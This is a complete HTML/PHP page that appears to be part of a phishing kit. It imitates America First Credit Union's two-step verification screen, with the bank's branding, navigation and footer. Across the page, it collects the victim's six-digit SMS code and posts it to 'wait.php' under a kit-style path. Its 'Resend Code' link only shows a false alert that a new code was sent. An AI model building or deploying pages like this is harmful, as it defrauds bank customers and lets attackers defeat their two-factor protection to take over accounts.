<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>America First Credit Union – SMS Verification</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@600&family=Source+Sans+3:wght@300;400;600;700&display=swap" rel="stylesheet">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    :root {
      --navy:   #0a1f3c;
      --navy2:  #0d2a52;
      --orange: #f47920;
      --orange-hover: #d9650f;
      --white:  #ffffff;
      --light:  #f4f7fb;
      --border: #d0dbe8;
      --muted:  #8494aa;
      --error:  #c0392b;
      --radius: 10px;
      --shadow: 0 20px 60px rgba(10,31,60,.22);
    }
    html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: var(--navy); overflow-x: hidden; }

    .bg-wrap { position: fixed; inset: 0; z-index: 0; }
    .bg-wrap img { width: 100%; height: 100%; object-fit: cover; opacity: .18; filter: saturate(1.2); }
    .bg-overlay { position: absolute; inset: 0; background: linear-gradient(135deg, rgba(10,31,60,.92) 40%, rgba(13,42,82,.75) 100%); }

    .topbar { position: relative; z-index: 10; background: rgba(5,15,30,.85); backdrop-filter: blur(8px); border-bottom: 1px solid rgba(255,255,255,.06); display: flex; align-items: center; justify-content: space-between; padding: 0 40px; height: 52px; }
    .topbar-links { display: flex; gap: 28px; }
    .topbar-links a { color: rgba(255,255,255,.65); font-size: .78rem; letter-spacing: .08em; text-transform: uppercase; text-decoration: none; transition: color .2s; }
    .topbar-links a:hover { color: var(--orange); }
    .topbar-links .divider { width: 1px; background: rgba(255,255,255,.15); align-self: stretch; margin: 10px 0; }

    .navbar { position: relative; z-index: 10; display: flex; align-items: center; justify-content: space-between; padding: 18px 40px 14px; }
    .logo img { height: 52px; filter: brightness(0) invert(1); }
    .nav-links { display: flex; gap: 32px; }
    .nav-links a { color: rgba(255,255,255,.8); font-size: .82rem; font-weight: 600; letter-spacing: .1em; text-transform: uppercase; text-decoration: none; padding-bottom: 3px; border-bottom: 2px solid transparent; transition: color .2s, border-color .2s; }
    .nav-links a:hover { color: var(--white); border-color: var(--orange); }

    .main { position: relative; z-index: 5; min-height: calc(100vh - 130px); display: flex; align-items: center; justify-content: center; padding: 40px 20px 60px; }

    .card { background: var(--white); border-radius: 16px; box-shadow: var(--shadow); width: 100%; max-width: 460px; overflow: hidden; animation: fadeUp .5s ease both; }
    @keyframes fadeUp { from { opacity: 0; transform: translateY(24px); } to { opacity: 1; transform: translateY(0); } }

    .card-header { background: var(--navy); padding: 28px 36px 22px; border-bottom: 3px solid var(--orange); }
    .card-header h1 { font-family: 'Playfair Display', serif; font-size: 1.55rem; color: var(--white); line-height: 1.2; }
    .card-header p { color: rgba(255,255,255,.55); font-size: .84rem; margin-top: 4px; font-weight: 300; }

    .card-body { padding: 32px 36px 38px; }

    /* Phone badge */
    .phone-badge {
      display: flex; align-items: center; gap: 14px;
      background: var(--light); border: 1px solid var(--border);
      border-radius: var(--radius); padding: 14px 16px; margin-bottom: 26px;
    }
    .phone-icon { width: 40px; height: 40px; background: var(--orange); border-radius: 8px; display: flex; align-items: center; justify-content: center; flex-shrink: 0; }
    .phone-icon svg { color: var(--white); }
    .phone-info { flex: 1; }
    .phone-info strong { display: block; font-size: .88rem; color: var(--navy); font-weight: 700; }
    .phone-info span { font-size: .82rem; color: var(--muted); }

    /* OTP inputs */
    .otp-label { font-size: .78rem; font-weight: 700; letter-spacing: .07em; text-transform: uppercase; color: var(--navy2); margin-bottom: 12px; }
    .otp-wrap { display: flex; gap: 10px; justify-content: center; margin-bottom: 8px; }
    .otp-input {
      width: 52px; height: 60px;
      border: 1.5px solid var(--border); border-radius: var(--radius);
      text-align: center; font-size: 1.6rem; font-weight: 700;
      color: var(--navy); background: var(--light);
      outline: none; transition: border-color .2s, box-shadow .2s;
      font-family: 'Source Sans 3', monospace;
    }
    .otp-input:focus { border-color: var(--orange); box-shadow: 0 0 0 3px rgba(244,121,32,.12); background: var(--white); }
    .otp-input.filled { border-color: var(--navy2); background: var(--white); }
    .otp-input.error { border-color: var(--error); }

    .timer-line {
      text-align: center; font-size: .82rem; color: var(--muted);
      margin: 14px 0 24px;
    }
    .timer-line span { color: var(--orange); font-weight: 700; }

    .error-msg { background: #fdf0ef; border: 1px solid #e8c0bb; border-left: 4px solid var(--error); border-radius: 8px; padding: 12px 14px; color: var(--error); font-size: .85rem; margin-bottom: 18px; display: none; }
    .error-msg.visible { display: block; animation: shake .35s ease; }
    @keyframes shake { 0%,100% { transform: translateX(0); } 25% { transform: translateX(-6px); } 75% { transform: translateX(6px); } }

    .btn-primary { width: 100%; padding: 14px; background: var(--orange); color: var(--white); border: none; border-radius: var(--radius); font-family: inherit; font-size: .92rem; font-weight: 700; letter-spacing: .1em; text-transform: uppercase; cursor: pointer; transition: background .2s, transform .1s, box-shadow .2s; box-shadow: 0 4px 18px rgba(244,121,32,.35); }
    .btn-primary:hover { background: var(--orange-hover); box-shadow: 0 6px 24px rgba(244,121,32,.45); }
    .btn-primary:active { transform: scale(.98); }
    .btn-primary:disabled { background: #ccc; box-shadow: none; cursor: not-allowed; }

    .resend-row { display: flex; justify-content: space-between; align-items: center; margin-top: 18px; font-size: .84rem; }
    .resend-row a { color: var(--orange); text-decoration: none; font-weight: 600; }
    .resend-row a:hover { color: var(--orange-hover); }
    .resend-row a.disabled { color: var(--muted); pointer-events: none; }
    .back-link { color: #6a7f99; display: inline-flex; align-items: center; gap: 4px; text-decoration: none; font-size: .84rem; transition: color .2s; }
    .back-link:hover { color: var(--navy); }

    .footer { position: relative; z-index: 5; text-align: center; padding: 0 20px 28px; color: rgba(255,255,255,.32); font-size: .75rem; }
    .footer a { color: rgba(255,255,255,.45); text-decoration: none; }
    .footer a:hover { color: var(--orange); }

    @media (max-width: 600px) {
      .topbar, .navbar { padding: 0 18px; }
      .navbar { padding: 14px 18px; }
      .nav-links { display: none; }
      .card-header, .card-body { padding-left: 22px; padding-right: 22px; }
      .otp-input { width: 44px; height: 52px; font-size: 1.4rem; }
    }
  </style>
</head>
<body>

<?php session_start(); ?>

<div class="bg-wrap">
  <img src="/AMFIRSTCU/auth/action-required/res/img/background.webp" alt="">
  <div class="bg-overlay"></div>
</div>

<div class="topbar">
  <div class="topbar-links">
    <a href="#">Find My Routing Number</a>
    <div class="divider"></div>
    <a href="#">Financial Education</a>
  </div>
</div>

<nav class="navbar">
  <div class="logo"><img src="/AMFIRSTCU/auth/action-required/res/img/logo.svg" alt="America First Credit Union"></div>
  <div class="nav-links">
    <a href="#">Loans</a><a href="#">Accounts</a><a href="#">Services</a>
    <a href="#">Visa</a><a href="#">Business</a><a href="#">About</a>
  </div>
</nav>

<div class="main">
  <div class="card">
    <div class="card-header">
      <h1>Two-Step Verification</h1>
      <p>We sent a 6-digit code to your registered phone</p>
    </div>
    <div class="card-body">

      <div class="phone-badge">
        <div class="phone-icon">
          <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
            <rect x="5" y="2" width="14" height="20" rx="2" ry="2"/>
            <line x1="12" y1="18" x2="12.01" y2="18"/>
          </svg>
        </div>
        <div class="phone-info">
          <strong>Code sent to ••• ••• 4821</strong>
          <span>Standard message rates may apply</span>
        </div>
      </div>

      <div class="error-msg" id="errorMsg">⚠ Invalid code. Please try again.</div>

      <form method="POST" action="wait.php" id="smsForm" novalidate>
        <div class="otp-label">Enter verification code</div>
        <div class="otp-wrap">
          <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="d1" autocomplete="one-time-code">
          <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="d2">
          <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="d3">
          <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="d4">
          <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="d5">
          <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="d6">
        </div>
        <input type="hidden" name="otp_full" id="otp_full">

        <div class="timer-line">
          Code expires in <span id="countdown">10:00</span>
        </div>

        <button type="submit" class="btn-primary" id="verifyBtn" disabled>
          Verify Code →
        </button>

        <div class="resend-row">
          <a href="#" id="resendLink" class="disabled">Resend Code</a>
          <a href="login.php" class="back-link">← Back to Login</a>
        </div>
      </form>

    </div>
  </div>
</div>

<div class="footer">
  <p>&copy; <?= date('Y') ?> America First Credit Union. All rights reserved. &nbsp;|&nbsp;
    <a href="#">Privacy Policy</a> &nbsp;|&nbsp; <a href="#">Security</a>
  </p>
</div>

<script>
  const inputs = document.querySelectorAll('.otp-input');
  const verifyBtn = document.getElementById('verifyBtn');
  const otpFull  = document.getElementById('otp_full');

  // OTP auto-focus behaviour
  inputs.forEach((input, i) => {
    input.addEventListener('input', function () {
      this.value = this.value.replace(/\D/g, '');
      if (this.value) {
        this.classList.add('filled');
        if (i < inputs.length - 1) inputs[i + 1].focus();
      } else {
        this.classList.remove('filled');
      }
      checkComplete();
    });

    input.addEventListener('keydown', function (e) {
      if (e.key === 'Backspace' && !this.value && i > 0) inputs[i - 1].focus();
    });

    input.addEventListener('paste', function (e) {
      e.preventDefault();
      const paste = (e.clipboardData || window.clipboardData).getData('text').replace(/\D/g, '');
      paste.split('').slice(0, 6).forEach((ch, j) => {
        if (inputs[i + j]) { inputs[i + j].value = ch; inputs[i + j].classList.add('filled'); }
      });
      checkComplete();
    });
  });

  function checkComplete() {
    const code = [...inputs].map(inp => inp.value).join('');
    otpFull.value = code;
    verifyBtn.disabled = code.length < 6;
  }

  // Countdown timer (10 minutes)
  let seconds = 600;
  const cd = document.getElementById('countdown');
  const resendLink = document.getElementById('resendLink');

  const timer = setInterval(() => {
    seconds--;
    const m = String(Math.floor(seconds / 60)).padStart(2, '0');
    const s = String(seconds % 60).padStart(2, '0');
    cd.textContent = `${m}:${s}`;
    if (seconds <= 0) {
      clearInterval(timer);
      cd.textContent = 'Expired';
      cd.style.color = '#c0392b';
      resendLink.classList.remove('disabled');
    }
    if (seconds === 300) resendLink.classList.remove('disabled'); // allow resend at 5 min
  }, 1000);

  resendLink.addEventListener('click', function (e) {
    e.preventDefault();
    if (this.classList.contains('disabled')) return;
    seconds = 600;
    this.classList.add('disabled');
    cd.style.color = '';
    // TODO: trigger resend via AJAX
    alert('A new code has been sent to your phone.');
  });

  // Form validation
  document.getElementById('smsForm').addEventListener('submit', function (e) {
    const code = [...inputs].map(inp => inp.value).join('');
    if (code.length < 6) {
      e.preventDefault();
      document.getElementById('errorMsg').classList.add('visible');
      inputs.forEach(inp => inp.classList.add('error'));
    }
  });

  inputs[0].focus();
</script>
</body>
</html>